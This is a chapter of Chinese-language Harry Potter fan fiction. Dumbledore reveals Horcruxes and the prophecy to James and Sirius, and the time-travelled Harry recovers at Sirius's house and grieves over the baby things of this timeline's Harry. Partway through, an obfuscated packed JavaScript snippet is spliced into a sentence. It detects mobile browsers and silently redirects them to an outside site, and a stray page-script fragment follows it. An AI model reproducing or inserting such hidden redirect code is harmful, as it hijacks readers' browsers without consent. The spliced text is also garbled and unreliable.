斯内普沉默了更长时间,在邓布利多坚持的注视下,极不情愿地开口:“他去冈特老宅是为了阻止马尔福取走一件东西——冈特老宅的那枚戒指,也是黑魔王的魂器。佩弗利尔坚持不告诉你,是因为他知道那枚戒指上镶嵌的宝石是什么。复活石,阿不思。他担心你会再次被诱惑,就像——”他突然停住,像是意识到自己说得太多,“他大概以为自己能够应付,或者至少能全身而退。” “啊,哈利……”邓布利多取下眼镜,闭上眼,手指按压着眉心,“总是习惯把所有的重担都自己一个人扛起来。”他重新戴上眼镜,看向斯内普,“这份心意我领受了,但这做法过于危险。西弗勒斯,考虑到那个戒指的历史……你本该更坚决地阻止他。这不符合你一贯的谨慎。” 斯内普的嘴唇抿得更紧,没有辩解。 “复活石?魂器?”小天狼星茫然地问。 “等等,”詹姆斯突然插入,“魂器是什么?为什么伏地魔那么在乎一枚戒指?” 邓布利多与斯内普交换了一个眼神,缓缓解释道:“伏地魔最惧怕的,便是死亡。为了逃避它,他涉足了……可以说是最黑暗,也最违背自然的魔法——魂器。”他小心选择着词语,“通过极其邪恶的行径,比如谋杀,来撕裂自己的灵魂,将碎片藏进不同的器物里。他以为这样就能确保自己永生不死,即使身体被摧毁,灵魂的一部分依然留存。”他看到詹姆斯和小天狼星脸上震惊的表情。“他不止成功一次。这让他难以被彻底消灭,但也使他变得越来越不像人类。” 他语气一转,带上更深的忧虑,“然而,哈利带来的信息,以及伏地魔近期的行为,都指向了一个更可怕的可能。伏地魔意识到灵魂过度分裂的不稳定性。他最初追求的永生,或许并非他现在想要的终极形态。我们怀疑,他如今的目标,是找回那些碎片,进行‘灵魂重铸’。一个完整的、也许更加强大的伏地魔,才是我们真正面临的威胁。” 邓布利多的话音落下,起居室里安静得只剩下壁炉里木柴燃烧的噼啪声。詹姆斯和小天狼星都一时无言,被这可怕的真相彻底震住了。 “梅林啊……如果让他成功了……”小天狼星终于找回声音,干涩地喃喃道。 “一个完整的伏地魔将重获全部力量。”邓布利多沉重地点头,“哈利,还有西弗勒斯,他们冒着巨大的风险潜伏在食死徒中间,其中一个重要目的,就是阻止这一切的发生,在他重铸灵魂前,找到摧毁所有魂器的办法。” “可他才二十出头!”小天狼星霍地站了起来,声音因为激动和愤怒而拔高,“阿不思,你怎么能让他去做这么危险的事?潜伏?面对魂器?这太疯狂了!我们也可以承担这个风险!既然黑魔标记能转移,为什么不让我们去?” “这是哈利的选择,小天狼星。”邓布利多平静地回答,“从他出生的那一刻起,命运就将他与伏地魔紧紧绑在了一起。他拥有对抗伏地魔的独特力量,但也背负了常人无法想象的重担。他从未逃避。” “所以,”詹姆斯干涩的声音接着响起,他看着邓布利多,像是不敢相信自己将要问出的那个颠覆一切的问题,“当年一切……都是因为哈利?从一开始?” 邓布利多长长地叹了口气,“我曾以为那只是西比尔一个不太准确的预言……”他轻声说,目光扫过因他的话而更加困惑的两人,在脸色霎时变得惨白的斯内普身上稍作停留,“直到哈利告诉我未来发生的一切,我才明白,不是预言不准,而是它无比精准。精准到伏地魔在得知部分内容后,也感到恐惧,不得不改变了他最初的计划,退缩了,等待新的时机。” 他把声音压得更低,“那个预言的核心,它预示了‘拥有征服黑魔头能量的人’的诞生,但也预示了一个残酷事实——‘黑魔头标记他为其劲敌’,最终,‘一个必须死在另一个手上,因为两个人不能都活着’。” 邓布利多说完最后几个字,起居室里陷入了令人窒息的沉默。 詹姆斯失神地坐在那里,预言的内容在他脑中轰鸣,震得他眼前发黑。原来如此。他一直以为,伏地魔袭击他们家,是因为他们是最坚定的抵抗者,是因为他们一次次挫败了他,所以招致了疯狂的报复。可现在他知道了——全错了。不是因为他们夫妇,不是因为凤凰社。 从一开始,伏地魔灰白的眼睛就只盯住了摇篮里的哈利。只因为这个该死的预言。自从他的哈利死后,他一直迁怒着来自未来的哈利,认定他是带来厄运的根源。可真相是,即使没有时间旅行,只要预言存在,他的儿子,无论是哪个哈利,都注定要面对这一切。他想起冥想盆里的画面——另一个哈利的孤独与挣扎,那不是什么可能发生的未来,那就是他儿子被诅咒的、无法逃脱的命运。 小天狼星的反应更为激烈,他霍地站了起来,双手用力抓着自己的头发。“就因为这个?就因为一个该死的预言?”他瞪着邓布利多,声音嘶哑地质问,“他还是个婴儿!他本该有父母,有家,被爱着长大!而不是从一开始就背负着这些!这算什么?” 斯内普僵硬地坐在椅子上,目光沉沉地落在自己的手上。两年前,在有求必应室里,邓布利多把他和那个刚出现的波特小子叫到一起,听后者复述了这个预言,还有那些关于魂器的骇人秘密。他记得自己当时的震惊和疑虑——不是因为预言本身,而是因为邓布利多和那个小子竟然会允许他这样一个前食死徒听到这一切?他们凭什么信任自己?他甚至都怀疑自己是否值得信任。简直难以理喻。 不过,既然莉莉在这个时代安然无恙,黑魔王也并未成功,这个预言最可怕的部分似乎并未应验。至于波特家的那个小子未来会怎样……那似乎是邓布利多和波特家自己该操心的事。 可如今,听着邓布利多再次一字一句地说出“一个必须死在另一个手上”,他的心脏竟好像被一把生锈的钝刀来回切割着。两年了……楼上那个昏迷不醒的年轻人,早已不再是那个让他困惑和深觉麻烦的“波特小子”,也不再仅仅是“莉莉的儿子”。 他不想承认,又不得不承认,不知不觉间,他比自己以为的还要在意这个年轻人。 他看着这个人一路挣扎、战斗、承担……才迟来地意识到,这个预言赋予哈利·波特的,从来不是什么“救世主”的荣耀,而是一副从出生起就注定要背负的、沉重而不公的枷锁。是自己,当年亲手将这命运的一端交给了伏地魔。强烈的悔恨,伴随着某种令他难以忍受的痛楚翻涌上来。他当年犯下的错误,如今成了他无法摆脱的阴影。 几人都像是被抽走了力气,一时无人说话。 “可是……”詹姆斯打破了沉默,他艰难地看向邓布利多,问出了那个最根本的问题,“哈利当时只是个婴儿……他为什么能活下来?伏地魔为什么杀不了他?” 邓布利多摇了摇头,“我只知道哈利身上有来自母亲的保护魔法,但他从未详细解释。有些伤痛,我们不该强迫他再揭开。”他温和地注视詹姆斯,“面对这个年轻人所经历和承担的一切,我们要做的是耐心等待,给予信任和支持。” —————— 哈利睁开眼睛时,有那么一瞬间,以为自己还在那个充满诅咒的迷宫里。他的头脑异常清醒,精神上的混沌和痛苦一扫而空。身体依然酸痛无力,像被巨怪碾过一样,每块肌肉都在隐隐作痛,但至少他能感觉到自己的身体了。 他躺在一张格外柔软的床上,盖着厚实的被子。这不是他在霍格沃兹的卧室。哈利转动有些僵硬的脖子,环顾四周。房间很宽敞,墙壁上挂着几幅充满动感的飞天摩托海报,海报上的摩托车在空中疾驰,引擎喷出五彩焰尾,像是随时会从海报里冲出来。窗户很大,望出去夜色深沉,只能勉强分辨出峡谷模糊的轮廓。床头柜上放着一盏熄灭的油灯和一个空了一半的水杯。 这是哪里? 记忆的碎片开始回拢——冈特老宅,戒指的幻象,卢修斯的贪婪,坠落,那个可怕的迷宫,伏地魔,泰迪的惨叫,斯内普的亡魂……最后是那道几乎要吞噬他的绿光,和他意识到一切都是假象的瞬间。接着是冰冷的地面,脸上复方汤剂失效的灼热感,以及……小天狼星。 对了,小天狼星找到了他。他记得自己被绳索捆住,看到了那双震惊的灰眼睛。他想告诉小天狼星卢修斯藏在哪里,但他太虚弱了,意识很快就模糊了。 所以这里是小天狼星的家?他被带回了小天狼星的家? 哈利的心脏不争气地加快了跳动。他撑起身体,动作牵扯到酸痛的肌肉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156427|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让他龇了龇牙。他打量着这个房间,这无疑是一间卧室,而且看起来很像主卧。床很大,家具是深色实木,角落里随意地搭着一件长袍,墙角甚至还靠着一把飞天扫帚,除了扫尾有些磨损,整体看起来保养得挺不错的。一切都充满了属于小天狼星的鲜活气息。 他把我带回了家……还让我睡在他的房间里…… 一丝微小到几乎不敢承认的希望在他心底悄悄萌发。也许小天狼星并不像詹姆斯那样排斥他?也许他真的愿意接受自己? 楼下隐约传来了说话的声音。声音很低,听不清具体内容,但他很快辨认出了其中一个——那是邓布利多的声音。 邓布利多在这里? 哈利顿时清醒了大半。邓布利多怎么会来?难道是因为自己的失踪?他下意识地摸了摸左臂,恍惚记得一阵灼痛。时间过去多久了?他错过了和斯内普约定的联系时间,斯内普肯定等急了,说不定还气疯了。他该不会……把所有事情都告诉邓布利多了吧? 哈利感觉额头冒出冷汗,恨不得缩回被子里装睡。但逃避显然无济于事。他深吸一口气,掀开被子,小心翼翼地站起身。双脚落地时有些发软,他扶着墙壁慢慢蹭到门口,轻轻拉开一条缝。 楼下的说话声清晰了一些。他听到了小天狼星有些激动反驳的声音,还有詹姆斯低沉的回应……以及斯内普那冰冷的腔调。 他们都在。 哈利靠在门框上,犹豫了几秒。该面对的总要面对。他整理了一下身上这件显然不是自己的、睡得皱巴巴的干净衬衣,鼓起勇气走下楼梯。 当他出现在起居室入口,里面的交谈声戛然而止。四双眼睛齐刷刷转向他。 哈利的脚步顿了一下,下意识地想后退。 “哈利!”小天狼星第一个跳了起来,几步冲到他面前,双手按住他的肩膀上下打量,“你醒了!感觉怎么样?有没有哪里不舒服?头还晕吗?”一连串的问题带着毫不掩饰的关切。 面对小天狼星的关心,哈利感觉无所适从,既感到一丝久违的温暖,又有些拘谨。“我……我很好,小天狼星。”他结结巴巴地回道,声音还有些沙哑,“感觉好多了。谢谢你。” 他跟随小天狼星走进起居室,低着头不敢看向詹姆斯的方向。 “坐下吧,哈利。”邓布利多微笑着,魔杖轻轻一挥,旁边一把空着的扶手椅自动滑到了哈利身后。 哈利依言坐下,这次眼睛又避开了斯内普的位置。不用想也知道,斯内普此刻一定正用“我就知道你会搞砸”的眼神瞪着他,等着看他如何解释自己的“丰功伟绩”。 “阿不思?”哈利有些不安地问邓布利多,“你们怎么会在这里?” “哦,看看谁终于醒了。”不等邓布利多回答,斯内普拖长的腔调响了起来,每个字都带着浓重的嘲讽,“佩弗利尔,在你沉浸在‘英雄式’的昏迷,让别人为你收拾烂摊子之后,居然还好意思问我们为什么在这里?应该庆幸有人还没蠢到家——发现你后知道该向谁求助。否则,你现在恐怕还在那个鬼地方滋养着苔藓!” “闭嘴,斯内普!”小天狼星站到哈利身边,挡在两人之间,“没看到他脸色还很差吗!” 斯内普看都懒得看小天狼星一眼。“我和佩弗利尔之间的‘任务汇报’,布莱克,恐怕还轮不到你插嘴。” “好了,好了。”邓布利多抬起手,制止了新一轮的争吵,并回答了哈利的问题,把情况简单说明了一下,又问道,“哈利,你能告诉我们,在冈特老宅到底遇到了什么吗?” 哈利点了点头,继续避开斯内普的视线,开始简略地描述了他们如何通过血缘门锁,卢修斯如何被戒指幻境诱惑,“那幻境的破解方法其实很简单,只需要一个显形咒就能看破虚实,我本来不打算告诉卢修斯,只想让他知难而退。可我还没来得及阻止他……”他直接说了结果,“然后我们就掉了下去,掉进了一个迷宫里。” “迷宫?”邓布利多追问,“什么样的迷宫?” “更像是一个……玩弄人心精神陷阱。”哈利回忆起那令人窒息的经历,声音还有些发颤,“它不只是制造幻象,它知道该用什么来攻击你,像是有生命一样。它翻出你的记忆,你的弱点,让你分不清真假……我看到了伏地魔,他还用泰迪的痛苦来刺伤我……” 他停顿了一下,手指无意识地绞在一起。要不要说出那个斯内普的亡魂?在斯内普本人面前描述他死前的惨状?这太怪异了。而且,幻境里的伏地魔还说了那些关于“爱”的胡话……哈利决定还是跳过这个细节。 “还有我认识的人……”他犹豫着说,“它甚至变出了一个对我来说很重要的人,一个已经回不来的人,非常真实。直到最后,伏地魔对我施出索命咒时,我才猛地意识到——这一切都不对,都是假的。” 他说完,低下了头,声音里充满了愧疚。“对不起,阿不思……我搞砸了。我太自以为是了,还连累了西弗勒斯使用标记。” “哦,哈利……”小天狼星伸手笨拙地拍了拍他的后背,想说些安慰的话,却又不知从何说起,只是喉咙里发出含糊的声音。 “没有人能永远不犯错,哈利。”邓布利多温和地说,“尤其当出发点是为了保护他人。但下次,请记得多信任我们一些。即使是最强大的巫师,也需要朋友的帮助。”他微微倾身,俏皮地眨眨眼,“如果要说‘搞砸’,西弗勒斯刚刚已经把‘另一个我’搞砸了什么清楚地告诉我了。” 哈利点了点头,脸上的忧色并未完全散去。“可是标记的事,斯内普用了强制联络,伏地魔肯定已经感应到了,该怎么应对?” “关于这个,我倒是有个主意。”邓布利多从容不迫地说,“既然伏地魔需要一个西弗勒斯动用标记紧急联络的理由,我们就给他一个。伏地魔不是一直对真正的挂坠盒念念不忘吗,毕竟少一个魂器必然会影响他的计划。” 詹姆斯从沉默中抬起头,小天狼星挺直了背,就连斯内普也稍微转过了身,所有人的注意力都集中在邓布利多身上。 他转向斯内普:“西弗勒斯,你可以向他汇报,就说你发现了真正的挂坠盒的踪迹——或许就在某个你无法单独进入或需要‘克劳奇’才能打开的地方。情况紧急,你急需他的‘专长’,因此才动用了紧急联络。这样,你们之后便可以‘一起’去将它取回。” “不行!”哈利当即反对,“用真的挂坠盒做借口?难道我们还要把挂坠盒……” “哈利,”邓布利多坚定地打断他,“没有什么比你的安全更重要。我们不能为了隐藏一个魂器的下落而让你或西弗勒斯暴露在无法预估的危险之下。” “可是那魂器……”哈利还想争辩。 “我们现在要做的是不能打草惊蛇,哈利。”邓布利多继续说道,“这个理由能暂时打消他对西弗勒斯动用标记的疑虑,这就够了。” 他的语气缓和下来,“而且,谁知道呢?如果不是分院帽还没彻底修复,或许我们早就用格兰芬多的宝剑解决掉真正的挂坠盒了,而不是现在还锁在我的办公室里。但这么一来,我们反而失去了一个应付伏地魔的绝佳理由。你看,有时候,看似耽搁反而是命运的保护。” 哈利沉默了,他知道邓布利多说得对,但胸口仍然像压着块石头。为了弥补他自作主张的错误,他们可能不得不放弃好不容易抢下来的魂器。 “至少你的‘英勇’行为并非全无价值,佩弗利尔。”斯内普突然开口,语气干巴巴的,“卢修斯·马尔福显然并没有救世主的运气,他现在精神失常,短时间内无法为黑魔王效力,也算清除了一个障碍。” 哈利震惊地抬起头,目光第一次直接对上斯内普的眼睛——那双黑色的眼睛只与他对视了一瞬,就立刻移开,转向了壁炉的方向。哈利微微一怔,转而问小天狼星,声音带着一丝不确定:“卢修斯……精神失常?” 小天狼星的表情沉重下来,点了点头,“是。我找到他的时候他还昏迷着,醒来后就完全不对劲了。胡言乱语,认不出人。”他瞥了眼詹姆斯,“詹姆斯已经把他送回马尔福庄园附近了。” 哈利消化着这个意料不到的消息,脸色白了几分。 “好了,哈利,你的身体还需要休息。我建议你安心在这里休养几天,小天狼星会照顾好你的。”邓布利多说,“我们会保持联系。至于外面的事,暂时不用担心。”他站了起身,又示意斯内普,“西弗勒斯,我们该回去了,还有很多事情需要处理。” 斯内普跟着起身。离开前,他的目光在哈利身上停了片刻。那双黑眼睛深邃莫测,像藏着什么说不出的东西,让哈利心头一紧,不由得一阵慌乱。他迅速移开视线,下意识地不愿去猜那眼神里一闪而过的究竟是什么。斯内普转身跟上邓布利多,长袍一甩,背影很快消失在门口。 詹姆斯是最后一个离开的。他在哈利的面前停住了脚步。哈利看着他走近,不由得屏住了呼吸,心悬了起来。詹姆斯似乎想说什么,嘴唇动了动,最后什么也没说出来。他没有再看哈利,转头对小天狼星微微颔首,然后走向了壁炉。哈利默默地垂下了视线。 小天狼星跟着詹姆斯来到壁炉边。门外传来一声轻微的爆裂声,大概是邓布利多和斯内普幻影移形离开了。詹姆斯抓起一把飞路粉撒进火焰,绿色的火焰瞬间腾起,他一步跨入,身影消失不见。房间里重归寂静。 起居室里只剩下哈利和小天狼星两人。哈利坐在扶手椅里,感觉有些不知所措。小天狼星在他对面的椅子上坐下,两人都没有说话。 最终,还是小天狼星先开了口,他挠了挠头,语气有些不自然:“呃……想喝点什么吗?热巧克力怎么样?” 90. 峡谷之屋(下) 哈利躺在小天狼星宽大的四柱床上,辗转反侧。身体疲惫不堪,搏斗和逃亡留下的酸痛钻进每一块肌肉,叫嚣着要休息,但他的大脑异常清醒,甚至有些亢奋。 床头的小座钟指向凌晨六点刚过。距离小天狼星坚持让他喝完那杯热巧克力,又半强迫地把他“押送”回卧室,才过了半个多小时。 当时,小天狼星站在床边,神情严肃地叮嘱道,“听着,什么都别想,就在这儿好好睡一觉。” 临走前,他像哄一个不肯睡的孩子似的,笨拙地替哈利拉高被子,生硬的动作里满含关切,“房子里随便逛,任何地方,明白吗?但现在,你需要休息。天塌下来有我顶着。” 他的声音坚定而温柔,让哈利心中泛起暖意,又有点无措,不知该如何回应。 小天狼星毫不犹豫地将他带回自己的家,安置在他的卧室里——与詹姆斯疏远回避的行为截然不同。 他真的能接受我吗? 直到这一刻,哈利才慢慢回过神来,心底压抑许久的一丝希望又悄然冒头。 哈利闭上眼睛,深呼吸。脑中还回放着小天狼星那些命令般的关怀,可这份安宁带来的喘息太短暂。恐惧和焦虑很快卷土重来——他搞砸了冈特老宅的任务,彻底失败了。卢修斯疯了,他自己也差点没命。如今,为了掩盖他的失误,邓布利多竟提议用真的挂坠盒做诱饵。这意味着他们费尽心思抢来的魂器,很可能又会落回伏地魔手中。而这一切,都因他自以为是的隐瞒。 更别提下楼时听到的那些只言片语——“预言”、“魂器”…… 邓布利多肯定已经把一切告诉了詹姆斯和小天狼星。他们现在知道了那些最沉重的秘密:伏地魔的计划,还有那个该死的预言。詹姆斯知道了吗?知道伏地魔选中波特家的原因——因为一个预言说他的儿子,哈利·波特,会成为黑魔王的劲敌?他离开时那欲言又止的眼神,是不是因为这个?小天狼星呢?他现在这么照顾自己,和预言有关吗? 然而,他是从未来穿越回来的哈利·波特,是曾经击败伏地魔的人。预言已在他身上应验过一次,再度应验又如何?这念头刚冒头,就被对逝去的小哈利的深重愧疚吞没——这个时代的“他”已经不在了。 他觉得自己像被困在了一个无形的网里,无论逃到哪里,都摆脱不了那些责任、危险和沉重的过去。小天狼星提供的安全感只是暴风雨中的一盏油灯,能照亮眼前一小片空间,却挡不住笼罩世界的黑暗,更平息不了他心底那场由恐惧、自责和担忧卷成的风暴。他躺在这儿,身体渴求睡眠,脑海却清醒得发痛。 哈利翻了个身,面朝窗户。一月的威尔士,凌晨六点多的天空仍是一片浓重的黑暗。 他抬起手,想试着施一个无声的照明咒,指尖却只颤巍巍地冒出几点火星。哈利挫败的放下手,目光移到床头柜上那盏熄灭的油灯上,不甘心地举起魔杖,咬紧牙关再试一次,终于挤出一点挣扎的火星,歪歪斜斜地落在灯芯上。 灯芯燃烧起来,微弱的火苗逐渐稳定,小小的光亮驱散了床边的黑暗。 他小心掀开被子,赤脚踩上冰凉的地板。身体的虚弱让他动作有些不稳,每一步都牵扯着肌肉的酸痛。他借着那点灯光,开始第一次仔细打量这个属于小天狼星的私人空间。 卧室宽敞而随意,处处流露出暖意。墙壁上飞天摩托的海报喧嚣又夺目,旁边是吵闹的“古怪姐妹”乐队宣传画,床头柜上堆着几本翻得卷边的魁地奇杂志,甚至还有一本麻瓜摩托车期刊,封面花里胡哨的。他的视线最终落在墙角那把飞天扫帚上。他挪动酸痛的双腿,走过去,蹲下身,终于看清了扫帚柄上的刻字——“彗星260”。 哈利又站起身,这次走到靠窗的书桌旁,桌上散落着羊皮纸和羽毛笔,一个没做完、看不出用途的道具被随意扔在一边。 他的目光停在书桌一角的两张相框上。一张里,年轻的詹姆斯和小天狼星勾肩搭背,笑得肆意张扬,那份无忧无虑的快乐仿佛要从照片里溢出来。另一张照片则让他呼吸一滞——那是四个穿着霍格沃兹校服的少年,掠夺者们。他的父亲,小天狼星,卢平……还有小矮星·彼得。只是彼得的那块影像被烧得焦黑模糊,像是被什么东西烧灼过,旁边三人的影像却完好无损。照片里的父亲和小天狼星还在互相推搡着大笑,卢平则在一旁无奈地微笑。 彼得……哈利的手指无意识地收紧。小天狼星处理得真彻底。不过也难怪,不管哪个彼得,都选择了背叛。他看向照片里卢平温和的脸庞。莱姆斯肯定也知道泰迪的身份了……他能接受泰迪这个来自未来的儿子吗? 哈利的视线在房间里游移,心中涌起一股强烈的陌生感。这里的一切都鲜活而有生气,和他记忆中潮湿阴郁的格里莫广场判若两地。这才是小天狼星该有的生活——自由自在、不受束缚,彻底远离那个他厌恶的家族阴影。 这地方像个家,一个他本可能常来做客的地方——如果一切都没发生的话。 胸口突然一阵刺痛,打断了这无用的设想。哈利意识到自己其实一直都不太了解真正的小天狼星。他认识的那个教父,被阿兹卡班的黑暗和复仇的执念磨得面目全非,是个被不公命运揉碎的灵魂。而这个房间属于另一个小天狼星——年轻、充满活力,没被痛苦撕裂的小天狼星。 他忽觉喘不过气来。房间里小天狼星的痕迹太重了,每件东西都在无声地喊着他的名字,提醒哈利自己是个闯入者,一个不该出现在这里的人。他得出去,得找个地方透透气。 哈利悄悄拉开卧室门,发现走廊上的灯已熄灭,只有尽头的窗户透进些微光亮。他蹑手蹑脚地走了出去,赤脚踩在地板上,小心地避开那些看起来可能会发出声响的木板接缝,每一步都落得极轻。 楼梯发出一声微弱的吱呀声,哈利屏住呼吸,等了几秒确认没有动静后,才继续摸黑下楼。 ———— 楼下的起居室笼罩在一片柔和的月光中。哈利站在最后一级台阶上,觉得这地方比格里莫广场开阔得多,也暖和得多。他没开灯,站在那儿等眼睛适应这片幽暗。 房间正中摆着一张长沙发,深红色的坐垫有些凹陷,沙发毯随意搭在扶手上,几张扶手椅围着中间的矮桌,桌上散着几本书和一份翻开的《预言家日报》。一切都散发着轻松的气息。 角落里放着一副巫师棋盘,黑白棋子静静立在格子上。哈利走近几步,一个黑骑士转过来,举起小巧的长矛,无声地挑衅。他摇摇头退开,骑士便恢复了原本姿势。 他瞥了眼厨房和餐厅,水槽里几个盘子慢悠悠地转着洗,叮当作响,像是魔法出了点小问题,半天都没洗完。书房门半开,里面书架高得碰到天花板,墙角有个旧魔法留声机,旁边架子上码着几张唱片。他没多看,视线很快移开。 哈利在起居室站着,脑子里乱糟糟的,吵得他头疼。也许冷水能帮他清醒点。他定了定神,走向走廊尽头的浴室,轻轻推开门。 刚踏入一步,墙上的镜子突然亮了起来,一个粗嘎的声音从镜子里传出来,“哟!看看谁来了?昨晚被摄魂怪亲过?脸色比鼻涕虫还难看!” 这突如其来的声音吓得哈利浑身一激灵,脚下一滑向后跌去,后背撞在门框上,疼得他倒吸一口冷气。他瞪着那面喋喋不休的镜子,反应过来这大概又是什么恶作剧的玩意儿。他紧张地竖起耳朵听了听楼上的动静,生怕吵醒人,确认一片安静后,才逃跑似的匆匆离开了浴室门口。 漫无目的地在一楼转了一圈,哈利发现了通往地下室的楼梯——他尚未探索的最后一个角落。或许是无处可去的茫然,也可能仅仅是好奇心的驱使,他沿着石阶走了下去。 地下室入口有两扇门。一扇是厚实的铁门,锁得死死的,带着魔法痕迹,哈利猜那里可能存放着重要或危险的物品。另一扇门很普通,没锁,只是半掩着,门上挂了块木牌,刻着“掠夺者秘密基地——未经许可者后果自负”。字迹模糊,像是很多年前刻的,带着年轻时的玩笑的痕迹。哈利犹豫了一下,推开了这扇门。 ———— 门后是一个宽敞的地下空间,空气里带着一股机油、金属和皮革的味道,隐约混着点旧木头的气味。一盏魔法灯悬在半空,散发出昏黄的光,勉强照亮了四周——这里被分成两个区域。 靠近门口的是个车间。墙上挂满了各式工具,扳手和螺丝刀乱糟糟地搭在钉子上,工作台上堆着金属零件,几本花花绿绿的麻瓜机械杂志散在旁边,封面脏兮兮的,还有几张羊皮纸,上面画满了复杂的魔法符文和机械图。一辆擦得程亮黑色飞天摩托车停在正中间,车身在灯光下闪着冷冷的光。哈利一眼认出这是海格骑过的那辆——海格曾说过,就是这辆摩托车把还是婴儿的他从戈德里克山谷带到了女贞路。 他慢慢走过去,手指轻轻滑过摩托车冰凉的外壳,脑子里不由自主地开始想象年轻的小天狼星骑着它冲上夜空的画面——风吹乱他的黑发,脸上挂着那抹肆意的笑。车座的皮革有些磨损,但摸上去还是结实的。看到它被这么完好地保管在这里,哈利心里一动,像触到了小天狼星的某种影子。 他转过身,走向另一边,那是个储藏室。灯光在这儿更暗,墙边堆着盖了灰色防尘布的旧家具和一摞摞的箱子。哈利瞥到一个敞开的箱子,里面露出一叠信,最上面一封写着安多米达·唐克斯的名字,旁边几封信封上隐约露出几个哈利不认识的名字。他转开视线,没有去碰那些私人信件。 在一摞箱子的顶上,放着一本厚厚的、封面有些磨损的相册。哈利迟疑了一下,还是伸手拿了下来,掸去上面的灰尘,在旁边一个稍干净的箱子上坐下,翻开了它。 第一页就让他停住了—— 掠夺者们在格兰芬多休息室里庆祝魁地奇胜利,詹姆斯举着金色飞贼得意地笑,小天狼星挥舞着格兰芬多的旗帜,莱姆斯在一旁笑着鼓掌,只有彼得的影像被魔法涂成一团黑色墨迹。背景里,门口的盔甲正跳着怪舞,逗得周围的学生前仰后合。 再翻一页,哈利的手指停住了。那是小天狼星和另一个黑发少年的合影,两人穿着霍格沃兹校服,一个格兰芬多,一个斯莱特林,脸长得像,却隔着点距离,没笑也没吵。哈利认出那是雷古勒斯·布莱克。他盯着那张脸,心里泛起一阵酸楚。 雷古勒斯……他还是没逃过那个结局…… 哈利想起跟邓布利多去找魂器时,格里莫广场的老宅里,克利切独自站在昏暗的厨房,低声念叨着过去,眼里藏着没人懂的悲伤。他咬了咬唇,或许该让小天狼星知道,雷古勒斯不是懦夫。也许还能带他去见见克利切。可他会去吗?哈利不确定,这个念头沉甸甸地压在他心上。 他继续翻下去,看到詹姆斯和莉莉的婚礼照片,跟他记忆里的一样。小天狼星穿着礼袍站在旁边,笑得比谁都亮,像个大男孩。 再往后,每一页都是一幅他没见过的画面。有一张,小天狼星抱着襁褓里的婴儿——是小时候的哈利。照片里的小天狼星不太会抱,手有点僵,可眼里满是骄傲和喜爱。 下一页,三岁左右的小哈利骑在小天狼星肩上,两人在魁地奇球场的看台上。小哈利戴着一顶明显过大的格兰芬多帽子,兴奋地指向天空中的魁地奇球员,而小天狼星则紧紧抓着他的小腿,笑得也是那么得开心。 又翻过几页,是张生日照。孩子们围在一个飞龙形状的大蛋糕旁,七八岁的小哈利站在最中间,脸上沾着奶油,绿眼睛亮得像星星。詹姆斯和莉莉在旁边拍手唱歌,小天狼星在后面递给孩子们小飞天扫帚的模型。 哈利没法继续看下去了。这些照片里的日子幸福又温暖,是他无比渴望却从未拥有的一切。 他合上相册,放回箱子,刚准备离开,却瞥到角落里有个盖着布的箱子,上头写着“H.P.婴儿用品”。那几个字母像有魔力,他的手不由自主伸过去,缓缓掀开了布。 箱子里整齐地叠放着婴儿床的部件,旁边是几件小衣服、柔软的毯子,还有一个毛茸茸的玩具狗。哈利蹲下身,手指颤抖地拿起一件印着金色飞贼的小睡袍。布料洗得软乎乎的,边缘有点磨损,带着一股淡淡的旧衣物气味。 这些都是那个哈利曾穿过、玩过、使用过的东西,现在却静静地躺在这里。 如果……如果一切都没有发生,如果父母没有死,小天狼星没进阿兹卡班……他会不会也穿过这样的衣服,睡在这张小床上,被家人轻轻抱着?这个念头带来一阵尖锐的刺痛,紧接着,一股浓烈的愧疚袭来,把他整个人淹没。 他盯着那件小睡袍,手指攥得发白。这些是另一个哈利的——这个时间线的哈利。 我算什么?我只是个闯入者,偷了他的人生、他的家人。这太不公平了。我不该回到这儿,詹姆斯是对的,我不是他儿子,他躲着我才正常。 哈利的视线垂到地板上,喉咙像堵了东西。 连小天狼星的关心都不该是我的。他不是我的小天狼星,他是那个男孩的。我该走远点,自己退出他们的世界。 是他。是他的到来毁了这一切,那个被詹姆斯和莉莉捧在手心、被小天狼星小心护着的男孩,再也不会回来了。 哈利跪在地上,手紧紧抓着那件小睡袍,肩膀抖得停不下来。他不知道自己跪了多久,直到一个熟悉的声音从背后传来。 “……哈利?” 声音很轻,带着点试探。哈利猛地抬头,脸上还挂着没干的泪。他看见小天狼星不知什么时候站在储藏室门口,脸上满是担忧。 小天狼星没有走近,只是静静地看着哈利,灰眼睛里的锐气不见了,只剩一种深沉的悲伤。他显然看到了哈利面前的箱子,还有那些小衣服和婴儿床的部件。 哈利慌忙想站起来,手里的小睡袍滑回箱子里,动作太急,撞倒了旁边的相册,照片散了一地。他的脸烫得厉害,手忙脚乱地解释:“我……我睡不着……就随便看看……” 小天狼星走了过来,脚步踩在落满灰尘的地板上,发出轻微的声响。他的眼神扫过地上散落的照片,又在那堆婴儿用品上停留了很久,才蹲到哈利身边,低声叹了口气:“……你看到了。” 他伸手拍了拍哈利的肩膀,手掌暖乎乎的,动作却有点僵硬,像不知道该怎么安慰。“那是……那个哈利的。婴儿床,小衣服,都是给他准备的。詹姆和莉莉……在他小时候偶尔会带他来住一阵子。”小天狼星的声音低下去,带了点抖,“我本来想把它处理掉的,就是……没舍得。” 两人之间静得让人难受。哈利能听见自己心跳的声音,怦怦地撞着耳朵。他感觉到小天狼星看着他,那眼神中没有责备,只有一种和他一样的痛。 “你别这么折磨自己,哈利。”小天狼星终于开口,声音轻得像怕吓着他,“这不是你的错。” 这句话像点着了什么,哈利猛地抬头,泪水又溢出,模糊了视线。“怎么不是我的错?”他的声音哽住了,压不住了,“要是我没回来,那个哈利就不会——” 